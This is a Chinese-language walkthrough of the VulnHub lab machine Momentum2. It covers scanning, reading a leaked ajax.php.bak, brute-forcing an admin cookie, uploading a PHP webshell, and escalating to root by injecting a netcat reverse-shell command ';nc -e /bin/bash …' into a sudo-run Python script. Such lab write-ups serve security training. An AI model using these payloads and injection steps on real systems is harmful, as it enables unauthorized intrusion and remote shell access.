vulnhub靶场之Momentum2

一.环境搭建

1.靶场描述

  • Difficulty : medium
  • Keywords : curl, bash, code review

This works better with VirtualBox rather than VMware

2.靶场下载

https://download.vulnhub.com/momentum/Momentum2.ova

3.靶场启动

二.信息收集

1.寻找靶场真实的IP地址

nmap -sP 10.0.2.0/24

arp-scan -l

靶场真实IP地址为10.0.2.251

2.探测端口及服务

nmap -p- -sV http://10.0.2.251

开启了22端口和80端口

三.渗透测试

1.访问web服务

http://10.0.2.251

我们查看源代码,没有任何发现

2.扫描web服务

1)nikto扫描

nikto -h http://10.0.2.251

2)dirb扫描

dirb http://10.0.2.251

3)dirsearch扫描

我们可以看到disearch多扫描出了一个/dashboard.html目录

3.渗透测试

1)访问目录

http://10.0.2.251/ajax.php

我们可以看到什么也没有,当一个目录什么也没有的时候,我们可以看看它的备份文件

http://10.0.2.251/css

http://10.0.2.251/js

发现一个代码,总的来说就是一个结合ajax.php上传多个文件的js代码,这就说明有上传文件的页面,存在上传点,就有可能存在文件上传漏洞

http://10.0.2.251/manual

可以看到apache的版本号

http://10.0.2.251/dashboard.html

我们可以看到是一个上传页面,我们就进行文件上传

2)文件上传

可以看到过滤了,我们进行抓包

我们可以发现当我们上传txt文件时,返回值是1,说明只能上传txt文件

我们在10.0.2.251/owls路径下看到我们上传的txt文件,所以目前我们没有办法进行文件上传

3)备份文件

我们想到前面的php目录什么也没有,我们试试看它的备份文件

curl http://10.0.2.251/ajax.php.bak

我们可以看到一串代码,我们进行分析

cookie 存在时,键名为 admin ,值为 &G6u@B6uDXMq&Ms ,再值的末尾还需要加一个大写字母。

使用 post 方式提交一个参数 secure ,值为 val1d,就可以上传 pdf,php,txt 文件。

4)burp的使用

首先我们生成一个全是大写的字典

上传一句话木马文件。

使用 brupsuit 抓包,添加 cookie 值,添加 post 请求值。

Cookie: admin=&G6u@B6uDXMq&MsR

------WebKitFormBoundary1OlvLrs5qB8SHF7t

Content-Disposition: form-data; name="secure";

val1d

我们进行爆破

发送到 Intruder 模块对 cookie 值最后一位进行爆破。

我们可以看到爆破成功

发现长度是一样的,那就去挨个看回显,最终在R上发现1,说明已上传成功

同时得到admincookie&G6u@B6uDXMq&MsR

5)蚁剑连接

我们进行连接

我们也可以使用nc进行反弹

nc -nvlp 6666

记得修改php-reverse-shell.php里面的ip和端口

我们可以看到反弹成功

5)ssh登录

我们在根目录下面看到了/home/,我们进行查看

我们看到有一个athena用户,里面有flag和密码,那么我们就进行ssh登录

密码后面有一个*

6)提权

我们看到需要python进行提权,我们查看脚本

这段代码使用了 Python 的 random、os 和 subprocess 模块来生成随机的 Cookie,并将生成的 Cookie 和种子保存到日志文件中。下面是对代码的逐行解释:

import random:导入 random 模块,用于生成随机数。

import os:导入 os 模块,用于与操作系统进行交互,例如创建文件和执行命令。

import subprocess:导入 subprocess 模块,用于执行系统命令。

print('~ Random Cookie Generation ~'):打印提示信息,表示开始生成随机 Cookie。

print('[!] for security reasons we keep logs about cookie seeds.'):打印提示信息,说明出于安全原因,种子(seed)会被记录在日志中。

chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh':定义了一个包含特定字符的字符串,用于生成 Cookie。

seed = input("Enter the seed : "):提示用户输入种子(seed)。

random.seed = seed:设置随机数生成器的种子为用户输入的种子。

cookie = '':初始化一个空字符串,用于存储生成的 Cookie。

for c in range(20)::循环 20 次,生成 20 个字符的 Cookie。

cookie += random.choice(chars):在每次循环中,从 chars 字符串中随机选择一个字符,并将其添加到 cookie 字符串中。

print(cookie):打印生成的 Cookie。

cmd = "echo %s >> log.txt" % seed:构建一个命令字符串,将种子追加写入到 log.txt 日志文件中。

subprocess.Popen(cmd, shell=True):执行命令字符串,将种子追加写入到日志文件中。

代码的主要逻辑是通过循环和随机选择,生成一个长度为 20 的随机 Cookie,并将生成的 Cookie 打印出来。然后,使用 subprocess 模块执行命令,将种子追加写入到名为 log.txt 的日志文件中。

复制代码
sudo -u root /usr/bin/python3 /home/team-tasks/cookie-gen.py #执行python文件
复制代码
nc -lvvp 6666 #本地监听
复制代码
;nc -e /bin/bash 10.0.2.15 6666; #输入回弹命令
相关推荐
Factor安全5 小时前
CVE-2025-24813 漏洞全解析|Apache Tomcat 关键路径绕过与RCE
安全·web安全·网络安全·tomcat·apache·安全威胁分析·安全性测试
QQ_7781329746 小时前
网络安全应急响应之文件痕迹排查:从犯罪现场到数字狩猎的进化论
web安全
心思这就是7 小时前
网络安全L2TP实验
网络·安全·web安全
燕雀安知鸿鹄之志哉.10 小时前
ctfshow VIP题目限免(前10题)
web安全·网络安全
qq_4170146013 小时前
常用的网络安全靶场、工具箱
安全·web安全
sszdlbw14 小时前
BUUCTF-web刷题篇(17)
安全·web安全·web·buuctf
卓豪终端管理15 小时前
黑白名单管理:构建安全高效的访问控制体系
运维·网络·安全·web安全·网络安全
一口一个橘子18 小时前
[ctfshow web入门] web23
web安全·网络安全
LuoYaFu20 小时前
文件上传漏洞原理学习
学习·安全·web安全
白山云北诗20 小时前
网络安全小知识课堂(十)
安全·web安全